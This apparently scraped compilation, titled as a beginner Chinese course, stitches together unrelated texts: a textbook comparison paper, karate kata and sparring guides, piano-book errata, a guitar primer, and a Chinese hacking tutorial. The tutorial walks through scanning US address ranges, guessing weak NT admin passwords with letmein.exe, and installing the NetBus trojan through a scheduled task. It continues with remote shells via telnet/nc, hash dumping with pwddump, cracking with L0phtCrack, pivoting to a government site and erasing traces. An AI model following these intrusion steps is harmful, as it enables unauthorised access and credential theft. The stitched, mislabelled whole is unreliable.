初级汉语教程

初级汉语教程（精选8篇）

初级汉语教程 篇1

对外汉语教学就是将汉语作为外语或第二语言的教学, 这包括对少数民族、海外华侨以及对外国人的汉语教学[1]。对外汉语教学虽然有两千多年的历史, 但将其作为一门学科, 对外汉语教学的研究在建国后才真正展开。随着我国经济实力的不断增加, 汉语正逐步上升为新的国际强势语言。对外汉语教学作为中外文化交流和人民交往的桥梁之一, 也越来越受到全世界人民的重视, 极大地促进了对外汉语教学的发展。

随着对外汉语教学六十年的发展, 其教学目标也发生了变化。目前对外汉语教学目标应当包含三个层次: (1) 培养学生汉语的听、说、读、写、译等语言基本的能力; (2) 培养学生汉语的交际能力; (3) 培养将汉语作为第二外语学生的跨文化交际能力。因此, 对外汉语教学的总目标是, 培养学生的跨文化交际能力[2]。语言教材是语言教学理念、教学水平, 以及相关的基础研究、理论研究的集中体现[3], 同时语言教材的编写也要围绕教学目标展开。《汉语教程》和《博雅汉语》是目前对外汉语初级教学中常用的教材, 本文从教学目标分析这两套教材的编写特点。

一、基本语言能力培养方面的编写特点

语音、词汇、语法是语言的三要素。语音是语言的物质外壳, 语法是语言的组织规则, 然而词汇则是语言的具体“表现者”, 是表达意义的核心[4]。

词汇教学的重要性不仅在教学中有所体现, 更应该在教材中体现出来。只有掌握了词汇, 才能正确的表达意义, 并进行有效的交流。在生词控制方面, 《汉语教程》第1册上的生词数为307, 第1册下的生词数为432, 平均每课生词分别为20.5和28.8。《博雅汉语》起步篇Ⅰ册的生词数为668, 起步篇Ⅱ册的生词数为723, 平均每课生词分别为22.3和28.9。从对两本教材的生词分析发现, 这两套教材对生词量的控制都达到了编写目标, 基本符合教学大纲对于词汇量的要求。在生词的编排方面, 《汉语教程》和《博雅汉语》都采用非常直观、明了的方式将生词置于课文之后, 使学生一目了然, 便于查找。同时这两套教材均对每个词的词性做了说明, 这在理解上带给学生许多便利。

两套教材在词汇方面也存在差异:一是在词汇表方面, 《博雅汉语》对整个词汇用不同的符号进行了甲、乙、丙、丁的分类, 让学生了解哪些是大纲中的重点词汇, 需要牢记;而《汉语教程》的词汇表并没有这样的说明。二是在生词与课文的关系方面, 《汉语教程》课后出现的生词大部分与所学课文无关, 这对学生学习生词带来极大的困扰;《博雅汉语》在这方面充分考虑学生的心理, 每课生词都来源于课文, 在熟读课文的同时也就掌握了生词, 这给学生记忆生词提供了方便。三是在词汇的练习方面, 《汉语教程》要求对所学的每个生词进行认读和书写, 加强知识的巩固性, 而《博雅汉语》在这方面有些薄弱。

两套教材在词汇方面, 仍有一些值得改进的地方。如在实际教学中学生会出现误用词性的现象, 这就需要把教材中词性相同的聚在一起, 进行分组编排。这样方便词语的搭配和运用, 使学生对生词的词性有清晰的认识。在重点生词的巩固复习中, 应该设计如听写等环节, 让学生进一步理解和掌握生词, 努力达到教学目标。

语法教学在对外汉语教学中具有举足轻重的作用, 如果盲目地强调淡化语法教学, 势必会造成学生的汉语学习缺乏后劲。在语法项目数方面, 两套教材平均每课的语法点相差很小。《汉语教程》第一册上有15个, 第一册下有52个, 平均每课2.2个;《博雅汉语》起步篇I册有78个, 第II册有69个, 平均每课2.7个。

在语法编排方面, 两套教材都遵循了由易到难、循序渐进的原则。《汉语教程》注重语义分析, 力图揭示语用功能, 在语法点讲解时多采用插图讲解, 便于学生练习;《博雅汉语》的语义解释较为简单, 而且术语使用较多。《汉语教程》将一些零散的语法点在“注释”中进行介绍, 对于较大的语法点, 在“语法”中进行讲解。但在某些语法项目中, 语法点中展示所举的基本上是些孤立的单句, 例句之间缺乏联系, 容易造成语言点与用法的脱节, 对学生的理解造成了一定的困扰。《博雅汉语》注重语法的练习, 这有助于学生对语法知识的复习和巩固。

二、培养学生汉语交际能力方面的编写特点

语言的实际运用和交际能力, 是对语言教学的较高层次的目标。依据自己的教学实践和教材编写特点, 从课文内容和课后练习两方面对两套教材进行比较。

课文是教材的重要部分, 课文内容总是要以一定的形式体现出来。这种表现课文内容的外在形式就是“体裁”。就整体而言, 两套教材的“体裁”都以日常会话为主。而日常会话有利于初学者掌握基本句型, 训练口语会话能力, 从而达到提高学生日常交际能力的目标。《汉语教程》课文主要采用实用会话, 这些会话通过特定的情境, 把语法的结构、意义和交际能力有机地融合在一起。语言简练, 易于日常教学和学生的掌握。相比而言, 《博雅汉语》会话内容比较丰富, 需要学生理解、记忆的内容较多。拼音注释是在会话后单独给出, 有利于学生更快地脱离拼音, 直接掌握汉语对话。同时, 《博雅汉语》除了日常会话, 还涉及记叙文、议论文、散文、日记、实用公文、书信等“体裁”, 相比而言课文内容更加丰富, 更有利于促进学生综合能力的提高。

练习是语言习得的主要途径。只有通过不断地练习, 学生才能将所学的语言知识 (如语音、词汇、语法等) 转换成相应的语言技能, 进行正确而得体的表达, 达到交际的目的。因此, 练习的设置在教材中具有举足轻重的地位。在交际型练习中, 《博雅汉语》起步篇Ⅰ采用的是看图完成对话、完成段落并仿写、用下面词语写一段话等;起步篇Ⅱ采用的是用指定格式完成对话、用指定词语回答 (或说话) 、模仿上文说一段话、根据上文写一段话、看图讲故事、自由表达等。《汉语教程》第一册 (上) 运用互相提问并回答、完成会话、看图问答等方式训练学生的交流能力, 第一册 (下) 则运用按照例句提问、组句、根据实际情况回答问题、看图说话、阅读并判断正误等方式呈现。通过对比, 在练习编排上, 《博雅汉语》练习的方式是比较丰富的, 同时穿插相应的插图和绿色色调, 给学生视觉上的美感, 激发学生学习的兴趣。在练习题型方面, 《汉语教程》的课文篇章都集中在会话练习中, 而《博雅汉语》主要集中在根据课文完成对话或段落中。由此可见, 《汉语教程》和《博雅汉语》都突出了汉语交际能力的培养, 尤其是《汉语教程》通过课文会话练习更有利于提高学生汉语交际的能力。

三、跨文化交际能力培养方面的编写特点

“跨文化交际能力”指本族语者与非本族语者之间的交际, 即来自不同文化背景人们之间的交流。要实现外国学生的跨文化交际能力, 不仅需要学生掌握语言知识和言语技能, 而且还要对中国文化背景有一定的了解。对中国文化背景了解有三个层次: (1) 表象层次, 主要是让外国学生认识和了解外在的、易知的文化现象, 该层次的感性、直观成分较多; (2) 行为层次, 主要是让外国学生对动态中国民俗系统有由表及里、由浅入深地了解, 这层次有感性和理性的结合, 从感性上升到理性的特点; (3) 理念层次, 主要让外国学生深层次地了解中国社会观念和价值系统, 达到对中国文化的自觉认同, 这层次具有思辨和理论性。作为初学汉语的外国学生, 对中国文化背景的了解主要是第一层次, 同时也有第二、第三层次的文化需求[5]。

从对外汉语教材中学习汉语文化知识是外国学生获取中国文化背景知识的主要途径。作为初学汉语者的教材, 《汉语教程》第一册的题材分布比例分别为:日常生活86.6%、教育实习10%、外国人在中国的生活1.7%、文化习俗1.7%。《博雅汉语》起步篇Ⅰ的题材分布比例分别为:日常生活70%、教育实习10%、中国国情民俗6.7%、外国人在中国的生活13.3%;起步篇Ⅱ的题材分布比例分别为:日常生活32%、教育实习8%、中国国情民俗4%、外国人在中国的生活12%、地理旅游4%、人生哲理24%、人物事件16%。总体而言, 两套教材涉及的题材类型大致相同, 都以日常生活类题材为主, 同时又有少量国情民俗的内容。这是与初级阶段学习者的特点和学习规律相适应的。

随着学习的不断深入, 日常生活类题材会不断减少, 逐步增加其他类型的题材。相比较而言, 《博雅汉语》Ⅱ则离开课堂走向社会, 选编了一些富有人文性或趣味性的小文章, 以使学生的视野和活动更加丰富多彩, 帮助他们逐渐使用汉语表达较为复杂的思想。

四、小结

初级《汉语教程》和《博雅汉语》都是近年来出现的优秀对外汉语教材, 从对外汉语教学目标上看这两套教学编写上有以下特点。

1. 在对外国学生汉语基本语言能力培养方面, 两套

教材都合理地控制了生词量, 对词语都有准确的解释, 并通过练习不断进行巩固;在语法的处理上则有区别, 《汉语教程》不追求系统性, 力求讲解简单明白, 重视语义和语用功能的说明, 而《博雅汉语》的语法呈现简单明了, 例句选择具有较强的典型性。

2. 两套教材都注重汉语交际能力的培养, 选用“体

裁”都以会话为主, 将语法的结构、意义和交际能力有机地融合在一起, 同时, 课后练习也以会话练习为主, 并配有插图, 内容丰富, 形式多样。《汉语教程》的课后练习与篇章内容结合更紧密, 更有利于学生汉语交际能力的提高。

3. 两套教材都遵循初学汉语外国学生对中国文化

背景的学习特点和认知规律。最初级教材采用日常生活类题材为主, 同时又有少量国情民俗的内容, 并随着学习者对汉语学习的深入, 逐步增加民俗、价值系统等深层次的内容。《博雅汉语》涉及的中国文化背景知识更丰富、更有趣味性。

参考文献

[1]刁世兰.对外汉语教学的现状及发展趋势[J].辽宁行政学院学报, 2010, 21 (8) :84-86.

[2]郭风岚.对外汉语教学目标的定位、分层与陈述[J].汉语学习, 2007, (5) :71-78.

[3]朱志平, 江丽莉, 马思宇.1998-2008十年对外汉语教材述评[J].北京师范大学学报 (社会科学版) , 2008, 209 (5) :131-138.

[4]朱德熙.语法讲义[M].北京:商务印书馆, 1982.

[5]张艳萍.对外汉语教学目的新论[J].对外汉语教学与研究, 2003, (3) :30-33.

初级汉语教程 篇2

一般用户均为拨号上网，速度较慢，绝对不适合大数据量攻击，比如密码强攻等，而且很容易很容易暴露自己，留下攻击痕迹，给自己带来极大的危险，所以，建立自己的中间堡垒是迈向成功的第一步，

入门初级教程之一

。所谓中间堡垒，实际上就是连接在高速网络上的远程计算机，我们在本地通过Telnet，控制远程计算机上运行的攻击程序，这样，没有直接对目标进行攻击，敌人很难发现，而且远程计算机有很宽的带宽，速度较快，减少攻击时间。比如在霉国，绝大多数计算机都是通过千兆网连接到Internet，其速度不比我们在局域网慢。

那么，怎么建立自己的中间堡垒呢?在霉国，上网计算机数量巨大，几乎有40%以上的计算机是相当容易攻破的，所以，我们只要想办法功入一台位于霉国的计算机，并成功的在其上安装木马程序及攻击工具程序，接下来就好好办多了。请看下面的我们的经历：

利用Pinger程序，查找霉国的一段IP地址，如果没有任何机器，再换一段，直到找到目标，如下：

可以发现，Ping程序在一连续的IP地址上，找到目标计算机的一些相关信息，比如：209.102.20.193 - SERVER，其中209.102.20.193为计算机的IP地址，SERVER为机器名，接下来，我们进入DOS，运行killusa编制的letmein.exe，如下:

letmein.exe 的参数为：

letmein.exe file://server/ -group -op pwd

其中-group 为：( -all -admin -users -domainadmin -domainusers -guests -domainguests)

-op 为：(-g: 攻击，-d 只显示用户)

pwd为：mypwd

例如：letmein file://111.111.111.111/ -all -g mypwd (对111.111.111.111上所有用户攻击)

例如：letmein file://111.111.111.111/ -admin -g mypwd (对111.111.111.111上管理员攻击)

例如：letmein file://111.111.111.111/ -all -d mypwd (显示111.111.111.111上所有用户)

接下来，letmein程序开始取得SERVER的相关用户，并简单尝试其口令，非常幸运，SERVER操作系统为NT，killusa很快取得SERVER上管理员为Pearson的口令为Pearson，结果如下：

当然，您的运气也许没有这么好，没关系，反复试几次，终归会有一个笨蛋失误，我们以多年的经验保证您可以在霉国找到这么一台计算机!

接下来，继续在DOS状态下运行：

其实，这时，您已以管理员的身份登录到该机器上了，接下来，赶快将工具程序拷贝到该计算机上，如下：

程序已经复制到远程计算机上，那么如何启动木马程序ntsrv.exe呢，请看：

这样，在远程计算机时间13:30分(时间在letmein已显示，估计后延一点)，SERVER上的SCHEDULE服务程序将启动ntsrv.exe，并监听端口：64321，当然，端口号可以根据自己的习惯，建议在200-65360之间选折，

OK，您已成功占领该计算机，启动Netbus客户端程序：netbus.exe，在host name/IP中填入：209.102.20.193，在Port中填入：64321，选折“Connect!”按钮，如下：

具体NetBus的用法，可以查看其Help文件，接下来，选折“Get Info”，如下：

可以判断其WIN NT安装在c:winnt目录下，接下来，选折“App Redirect”，如下：

当然，端口可以自己选折，但建议尽量大点，如：6111159999等，这样，你就可以通过Telenet.exe或nc.exe来控制远程计算机SERVER运行你的攻击程序，如下：

利用nc.exe的界面：

Telnet用法如下：telnet 209.102.20.193 54321

而且必须将终端->首选选项->本地响应 选上，利用Telnet.exe 的界面：

这样，你已在远程计算机上运行DOS窗口，并将你的运行程序结果返回到你的本地机器，因为程序是运行在远程计算机上，速度只要你ping以下霉国的站点，你就会发现不一样。

接下来，必须取得该站点的密码，已扩大战果，在telnet或nc中，运行pwddump.exe，如下：

然后，利用Netbus将server.lc下载到本地，利用L0phtCrack 2.5解出其他密码，如下：

得到了密码，接下来的事我就不用再说了，但千万注意保护好这个堡垒，不要在上面留下不该留下的垃圾，也千万不要删除上面的任何文件，攻击完后，一定要将相关现场恢复，如删除server.lc，pwddump.exe等文件。

这里只介绍攻击NT服务器的基本方法，攻击一个站点时，往往主站点很难进入，也不会有这种管理员的密码一猜就中，但不要泄气，用Pinger扫描其相差一个或几个C端地址，攻击其防范不严的相关机器，一步一步得到管理员的密码，如目标为：www.somesite.gov，其IP为：111.111.111.111，扫描出其所在C类地址所有IP，攻击其相关服务器或其工作人员站点机，比如www.somesite.gov管理员其中有:usasb，利用letmein无法得到管理员密码，但其有一台机器为：usasbclient，其中管理员有：administrator、test、usasb，利用letmein得到test的密码为空，采用上面的方法，得到usasb的密码，利用LC解出usasb的密码明码，ok，再用usasb进入www.somesite.gov，将其所有密码下载后，接下来killusa要睡觉去了!!! -) ....

日本空手道初级教程（四） 篇3

平安二段里有臂招架、手刀招架、双脚移动、正击、贯手、前踢、上踢（侧踢）等，几乎包括所有的基本技巧，可以说是平安中具有代表性的“形”。是非常出色的形，所以要充分练习。平安二段共有26个动作，大概用30秒的时间完成，演武线是工字形。

“准备”的姿势：精神（思想）准备与平安初段相同（图34）。

1、（开始）向左侧两臂上招架：将左腿向左方迈出，呈后屈站立的同时，用两臂招架上段。两拳一旦移到右腰处，从该处猛地抬高至上段，进行招架（图35）。

2、右中段打入：呈后屈站立不变，将铁锤打入对方的中段。这时左手边旋转拳头，连拉回右耳处（图36）。

3、左中段正击：接着2的中段打入，态势保持不变，正击中段。因为2、3是连续技巧，所以要尽量快速进行，右拳尽量拉回右腰上（图37）。

4、两臂对右方上段招架：将面部朝向右侧的同时，这次将重心放在左腿上，呈后屈站立，一旦将双手移至左腰，全力招架上段（图38）。

5、左中段打入：后屈站立不变，将左铁锤打入对手的中段（图39）。

6、右中段正击：这个正击与其他正击不同，注意要与3一样呈半身状态进行（图40）。

连络动作：面部朝后的同时，将左腿收回半步，以此为中心腿，将右脚抬至左膝处，右拳竖立，叠放在至于腰上的左拳上面（图41）。

7、右里拳和右侧踢：右拳保持竖立，从腰际伸开，里拳飞出的同时，用右腿刀上踢（图42，图中所示为从演武线侧面看到的）。

8、对正面行左手刀接招：7的动作结束的瞬间，转向正面，将踢腿放下，以后屈站立进行左手刀接招（图43）。

9、前进一步，右手刀接招：注意一定要使两手交叉，然后接招（图44）。

10、再前进一步，左手刀接招：前进时，轻脚快速进行。注意手和脚要同时按规定练习（图45）。

11、前进一步，右中段贯手：将左手刀接招水平下移至胸前，从上方抑制对方的正击，前进一步，呈前屈站立的同时，通过其手背上面，行右中段贯手（图46）。

12、向左方行左手刀接招：以右腿为中心，将左脚向左方的演武线大幅移动，以后屈站立，进行左手刀接招（图47）。

连络动作：只将面部朝向右斜后方。要充分集中注意力，狠狠地瞪着对方，这种气势是很重要的（图48）。

13、向左斜后方前进一步，右手刀接招：注意眼的位置，集中注意力，瞪视对方，可以起到震摄对方的作用（图49）。

14、右方右手刀接招：将前脚旋转14—15度左右，移动至演武线右侧的同时，进行右手刀接招（图50）。

连络动作：只将面部朝向左斜后方，假想敌人，努力拉紧神儿（图51）。

15、向左斜后方前进一步，左手刀接招：两手当然要交叉，要充分注意眼的位置、出手的状况（图52）。

连络动作：移动左脚，朝向里正面，右拳大幅挥着，置于左腰处，左拳移至右肩上（图53）。

16、右中段臂接招：两手交叉，左拳拉回左腰上的同时，旋转右拳至肩高处，进行中段臂接招（图54）。

17、姿势保持不变，右上段前踢：练习时，踢上段的一瞬间，踢的威力变大（图55）。

18、放下右腿的同时，左反击：在放踢腿时，不能直直的放下，要将踢腿拉回到自己的身体后再往下放（图56）。

连络动作：从此至21与16—18相同，反过来练习臂接招与前踢的连续技巧（图57）。

19、右中段接招：从里侧侧面招架对手的正击（图58）。

20、姿势不变，左上段前踢：为了使动作不成为2等级，利用腰部力量一口气踢。另外，要注意臂接招的手不要垂下来（图59）。

21、接着继续右中段反击：由于踢的态势容易歪斜下来，所以稳稳地下蹲身体（图60）。

连络动作：使右腿前进一步的同时，将两拳如图所示移至左腰上，这时，要注意腰不要浮起来（图61）。

22、右双手接招：左拳放于右肘内侧。必须呈标准的前屈站立，将刚一放到腰上的双拳象飞弛一样同时运作（图62）。

连络动作：在这儿，再次以前脚（右腿）为中心，将左腿大幅向左旋转移至演武线的左方。与此同时，左拳移至肩处，使之与右臂交叉（图63）。

23、左方、左下段驱逐：脚的动作结束，呈前屈站立的同时，进行左下段驱逐（图64）。

连络动作：手展开，进行左上接招。首先，姿势不变，只将面部充分地朝向右斜前方。然后展开手，进行右上接招的姿势（图65）。

24、向右斜前方前进一步，右上接招：前屈站立，身体斜立，边扭转右拳，猛地弹起时，在额前接招（图66）。

25、右侧右下段驱逐：将右脚大幅地迈至演武线的右方，呈前屈站立的同时，双臂也大大地交叉，进行右下段驱逐（图67）。

连络动作：手展开着，右上接招，姿势不变。首先，将面部朝向左斜前方，作右上接招姿势（图68）。

26、向左斜前方前进一步，左上接招：动作的同时，加强气势（图69）。

恢复：将左腿轻轻拉回，恢复到自然体（图70）。

上段接招与击打的连续技巧1：招架对手的上段击打（图71）。

上段接招与击打的连续技巧2：接着，将铁锤打入对方的软肋（图72）。

上段接招与击打的连续技巧3：最后对已被打败的对手，再进行中段正击，置其于死地（图73）。

初级汉语教程 篇4

儿童钢琴初步教程第一册(上海音乐出版社1 984年1 0月第一版2003年1 2月第29次印刷)出现的印刷错误如下:

第9 7页第4小节低声部错误,第一个音符应为附点二分音符,但原乐谱出现的只是一个二分音符,原谱为:

正确的乐谱应为

儿童钢琴初步教程第三册(上海音乐出版社1988年6月第一版2005年5月第24次印刷2006年8月第25次印刷)出现的印刷错误如下:

1.第2页第14小节高声部错误,附点二分音符后面少印了一个四分休止符,原谱为:

正确的乐谱应为:

2.第3页第2小节高声部错误,少印了一个四分休止符,原谱为:

正确的乐谱应为:

第10小节错误与第2小节雷同,谱略

3.第34页第1 2小节高声部错误,少印了一个八分音符,原谱为:

正确的乐谱应为:

4.第3 5页第2 0小节低声部最后一个音符错误,误将大字组的"G"错印为大字组的"#F",原谱为:

正确的乐谱应为:

5.第40页第11小节低声部第一个音符错误,误将附点八分音符错印为八分音符原谱为:

正确的乐谱应为,

6.第71页第8、9、10、14小节低声部最后一拍均丢失一个八分音符,这里以第8小节为例,原谱为:

吉他初级入门教程[范文模版] 篇5

第一，要学吉他，首先最起码要认识吉他吧，这张图说的很明白，不多讲

吉他有六根弦，从细到粗分别为：1弦，2弦，3弦，4弦，5弦，6弦 二，要学吉他，先得会持吉他吧

正确的左手手型

把左手拇指放置在琴颈背后靠上的位置，避免把拇指放在琴颈的上方。手腕位于琴颈下方，手掌与琴颈需保留一些空间，大约能放置一个鸡蛋。左手手指应当打开保持一个平均的距离。中指和无名指与品格基本保持平行，食指和小指与品格略有一点倾角。看图

三，会持吉他了，就要学着弹，弦乐器都有他的指法，所以要先给手指分工吧，右手拨弦哪个手指负责哪根弦，左手按弦，哪个手指按第几品，都要分工明确，为了方便，给每个手指安排个职位，也就是取个序号，这样不至于乱弹一顿是吧！左手手指代号：

食指（1），中指（2），无名指（3），小指（4）

右手手指代号：

大姆指（T），食指（1），中 指（2），无名指（3），小姆指（4)四，手指有了有了职位就要做该做的事吧，不能占着职位不做事啊，那么由谁来分配工作呢？呵呵，当然是谱子了，所以呀，下面来认识一下这位主管-----六线谱

六线谱是把吉他的六根弦对应地划出六条平行的横线来表示两手演奏的位置和动作（即指法），而不是记录的音的高低，但它与简谱或五线谱结合对照起来使用时非常方便，既能表示音高，又能表示指法。

六线谱对吉他常用的演奏方式（独奏、分解伴奏和漫弹节奏）分别用如下方式记录：

独奏（旋律）记谱：在六条线上写上阿拉伯数字。

六线谱中的数字表示吉他的品格，写在线上的数字表示左手按第几品，数字所在的线即右手应弹的弦。

分解和弦伴奏记谱：在六线上画“X”，此时六线谱上方往往有关于左手按和弦的指法图或标记表示。那么你就用左手按好和弦，“X”表示用右手指弹响其所在的弦。

扫弦节奏记谱：在六条线上画“↑”、“↓”等符号，此时六线谱上方也往往有关于左手指法的提示。有时候，上述几种记谱法会在同一首六线谱中出现。

六线谱中使用的附点、延音线记号和用法与简谱、五线谱基本相同，如果不懂简谱，那你该先找点简谱—以防大家懒惰，我也帮你找到了简谱的相关知识，并加以简化了，不会简谱的跳到最后几页，会的接着往下 下面用图说话，教大家C和弦的按法

红圈里的数字是前面说到的手指代号，大家还记得吧？ 竖着的六根线从右到左，越来越粗，分别对应1——6弦

（1）——食 指，按「第二弦」的第一格

（2）——中 指，按「第四弦」的第二格

（3）——无名指，按「第五弦」的第三格

左手手指找到工作了，右手也该安排工作呀，下面就是右手的工作——「刷弦」。刷弦在谱子上以箭头表示：告诉演奏者往上或往下刷要刷哪 几弦 如图有四个箭头，所以我们要刷四下。方向是从六弦刷到一弦

刷弦也是扫弦或爬弦 注：不是按每个和弦都“刷” 六根，如果看到某根弦有叉(x)千万别碰了

到此为止，最基本的类容已经讲完，下面就是练习了 吉他初级练习——爬弦

就是基本上6跟弦的每一品都要弹(n遍)拿一弦举个例子开始就是左手4个手指依次弹一弦的1,2,3,4品然后顺着往下爬--2,3,4,5,--3,4,5,6,----…………明白了吧 一般呢是到12-14品然后反回来 14,13,12,11--13,12,11,10这样再爬到1弦

然后再从2弦按照同样的顺序开始练习一直到6跟弦全爬过 1-6弦 6-1弦

指法组合 也好多(4个手指是24个配合)练完1.2.3.4 可以是1.2.4.3然后1.3.2.4--1.3.4.2………… 以此类推

4个手指之后呢是3个手指 方法同上 1.2.3--1.3.2………… 直到每个手指 全部配合过 然后呢 横着爬

先是1弦1.2.3.4品 然后2弦1.2.3.4品 然后3弦……到6弦 之后呢再反过来 先是6弦1.2.3.4 然后5弦……到1弦 再之后呢 可以到 5.6.7.8 品上做同样的练习或者9.10.10.12 总之呢 在低把位练习手指的延伸度 在高把位练习手指灵活性

这样练习过了呢 可以休息拉 或者继续进行以下的爬弦

弹1弦1品 2弦2品 3弦3品 4弦4品 然后2弦1品 3弦2品 4弦3品 5弦4品……………… 再从6弦相反的方法练下来

像这样的爬法就好多了 可以自己组织着练了

1弦1.3品 2弦2.4品然后1弦--6弦 再反过来之后1弦1.4品2弦2.3品拉

这样的 自己组合就好了 尽量是把所有的能配合的指法 都练习到（当然根据大家的时间而定 拉）

二，下面在教大家几个和弦 Ｔ：表示用左手拇指来压弦

在按和弦时，有几点要特别注意

（１）手指要尽量垂直于指板，以避免手指指腹碰到邻近的弦而产生杂音。（２）手指尽量琴衍，这样子压弦较轻松，且不容易有杂音出现。

（３）左手拇指放在琴颈中间比较容易张开手指，有些人习惯用虎口握住琴颈，这样的姿势也对，但手指比较张不开来，初学者最好不要使用。Ｃ调基本四和弦： Ｃ Ａｍ Ｄｍ Ｇ７

注意一下上面的Ｄｍ和弦，第六弦的地方打个ｘ，代表该弦不可拨弦，因为 非和弦的组成音。

这四个和弦学吉他最早接触的和弦，一般是称他们为基本四和弦 五月天的「拥抱」当入门歌曲，一样只有四个和弦，不难。Ｇ调基本四和弦： Ｇ Ｅｍ Ａｍ Ｄ７

Ｇ调基本四和弦，说穿了只是把Ｃ调基本四和弦转成Ｇ调而已，这样子应该懂了吧！其中Ｇ和弦因为有使用到小指，一般人的小指是很迟钝的，所以Ｇ和弦要一次把它换好需要很长的练习时间，刚开始都是中指、无名指先换过去，小指才跟进，这样就有一小段时间不是Ｇ和弦了，而是Ｇ６和弦，努力地把小指的迟钝性克服吧！教大家一种练手指独立性和韧性的方法~~ 一: 此练习只用到1,2,3,4 这4根弦

二:将小指按在1弦12品,无名指按在2弦11品, 中指按的3弦10品,食指按在4弦9品.三:依次拨响4,3,2,1弦 这时你拨响的是4弦9品,3弦10品,2弦11品,1弦12品的音.四:拨完4下后,这时将食指移动到4弦8品其他3指不动, 再次拨响4,3,2,1弦这时拨响的4弦8品,3弦10品,2弦11品,1弦12品 五:完成四后再将中指移动到3弦9品其他3指不动.拨响4,3,2,1弦 这时拨响的就是4弦8品,3弦9品,2弦11品,1弦12品.六:完成五后,再将无名指移动到2弦10品,其他3指不动, 这时候再拨响的就是4弦8品,3弦9品,2弦10品,1弦12品.七:完成六后再将小指移动到1弦11品再次拨响4,3,2,1弦

这时候就是4弦8品,3弦9品,2弦10品,1弦11品.完成三----七以后象这样一直爬到食指按4弦1品,中指3弦2品,无名指头2弦3品,小指1弦4品

.然后再从第二步开始.下面是一些和弦指法图 附件——简谱知识

一、简谱怎样表示音的高低

音符：

１

２

３

４

５

６

７ 唱名：

do

re mi

fa sol

la

si 音名：

A

B

C

D

E

F

G 汉字

多

来

米

发

梭

拉

西

对照：

显然，单用以上七个音是无法表现众多的音乐形象的。在实际作品中，还有一些更高或更低的音，如在基本音符上方加记一个“·”，表示该音升高一个八度，称为高音；加记两个“ ：”，则表示该音升高两个八度，称为倍高音。在基本音符下方加记一个“·”，表示该音降低一个八度，称为低音；加记两个“ ：”，则表示该音降低两个八度，称为倍低音。

现将高音、中音、低音分组如下：

二、简谱怎样表示音的长短

在简谱中，如果音符时值的长短用短横线“-”表示，就称为单纯音符。单纯音符除四分音符外，有以下两种形式：

⑴ 在基本音符右侧加记一条短横线，表示增长一个四分音符的时值。这类加记在音符右侧、使音符时值增长的短横线，称为增时线。增时线越多，音符的时值越长。

⑵ 在基本音符下方加记一条短横线，表示缩短原音符时值的一半。这类加记在音符下方、使音符时值缩短的短横线，称为减时线。减时线越多，音符的时值越短。

单纯音符的名称以全音符为标准而定。如：全音符的二分之一称为二分音符，全音符的四分之一称为四分音符，其余类推。

常见的单纯音符的名称、写法及时值长短列表如下：

2.附点音符

在简谱中，加记在单纯音符的右侧的、使音符时值增长的小圆点“·”，称为附点。加记附点的音符称为附点音符。附点本身并无一定的长短，其长短由前面的单纯音符来决定。附点的意义在于增长原音符时值的一半，常用于四分音符和小于四分音符的各种音符之后。例如

附点四分音符： 附点八分音符：

附点十六分音符：

在简谱中，大于四分音符的单纯音符通常不加记附点，而用增时线来表示。例如；附点二分音符：

不用

表示。

带有两个附点的单纯音符称为复附点音符，第二个附点表示增长第一个附点时值的一半，即音符时值的四分之-。例如：

复附点常用于器乐曲中，在歌曲中很少使用。

三、简谱怎样表示休止

在乐谱中表示音乐的休止(停顿)的符号称为休止符。简谱的休止符用O表示。O越多，停顿的时间越长。

四、怎样认识简谱中的拍子和拍号

用以表示不同拍子的符号称为拍号。拍号一般标记在调号的后边。例如：

1=C 2/4

1=G 3/4

日本空手道初级教程（十） 篇6

一指攻防动作分为基本一指攻防动作和自由一指攻防动作两种。

基本一指攻防动作预先定好攻击方的攻击技巧和攻击目标，招架方以自然体站立（当然熟练之后，可以相互以某种姿势进行练习）。

自由一指攻防动作，只定好攻击方和招架方，至于什么时候攻击什么地方都可以，有时也有招架方的动作还没有决定，立即就发展成为自由攻防动作的情况。因为一指攻防动作是比三指攻防动作高级得多的技巧，需要敏锐的判断，所以要反复多次练习。

相应地危险也多，所以要注意经常要有紧张感，这样去练习，不要彼此伤害到对方。

在这儿，将介绍基本一指攻防动作。另外要说的是：这儿介绍的是左边的招式，实际右边也可以同样练习。

1、行完礼后，呈自然体站立。接着，攻击方很快拉开右脚，呈前屈（或不动）站立，进行左下段移动，招架方保持自然体状态，盯着对方（图1）。调整呼吸，攻击方大幅而快速地攻击招架方的面部。这时，使用绊脚，攻击与脚的踏出速度基本相同（图2）。招架了对手的攻击以后的瞬间，招架方展开收回至右腰上方的右正拳，伴随着吆喝声攻击对方的软肋处，在此，攻击与防守交替进行（图3）。

2、攻击方左下段移动，招架方呈自然体（图4）。对攻击方的上段追击，招架方展开手进行左上接招，上接招是从内侧向外侧画圆似地进行的（图5）。拉住对手的右臂，向露出的身体部位打入右手刀。图中是攻击颈处动脉，但也可以握住拳头，打入对方面部（图6）。

3、攻击方下段移动，招架方呈自然体（图7）。面对攻击进行左上段上接招，这时，将左臂从前方运至后方，好象要托起对方的攻击（图8）。最后，在拉近抓着的对手右臂的同时，对着面部旋转踢，如果不充分拆毁对手的态势踢的话，有使对方逃脱的担心（图9）。

4、攻击方左下段移动，招架方采取自然体姿势（图10）。在攻击方就要攻击的瞬间，将左脚后退一步，从对手内侧进行内接招，身体呈半身状（图11）。招架之后，就用那只手向对手面部飞出里拳，这时，肘处不变，从那个地方翻着扫转臂前部（图12）。

5、攻击方左下段移动，招架方为自然体（图13）。面对攻击方的右上段攻击，将两脚同时飞快地移向左方，向攻击的外侧移动身体，进行右上段外接招（图14）。飞出右脚，对着中段发出前踢（图15）。

6、攻击方进行左下段移动，招架方呈自然体（图16）。这时的外接招好象是要制止对方的攻击，所以要尽量接近对方（图17）。因为对方的身体在动作过程中，在中段会出现间隙，所以要迅速地低身对着中段攻击，因为要变短攻击距离，所以要尽量靠近对方（图18）。

7、攻击方左下段移动，接招方为自然体（图19）。尽管是外接招，但与以前的接招不同，将左脚向斜后方稍微退后，一边躲开对方的攻击，一边向对方挥去左手刀（图20）。下一个瞬间，对着对方的腰窝处踢入右侧踢。如果离对方太远的话，踢的时候站立的腿会倒，恰到好处地掌握间距很重要（图21）。

8、攻击方左下段移动，接招方为自然体（图22）。将左脚退后一步，将击打向上推开，进行十字接招，双手展开，左手在下，右手在上，手腕交叉，这个接招是个很方便的技巧（图23）。在拉住对方手腕的瞬间，向中段发出右脚，这个时机的掌握很难，所以要多次反复练习（图24）。

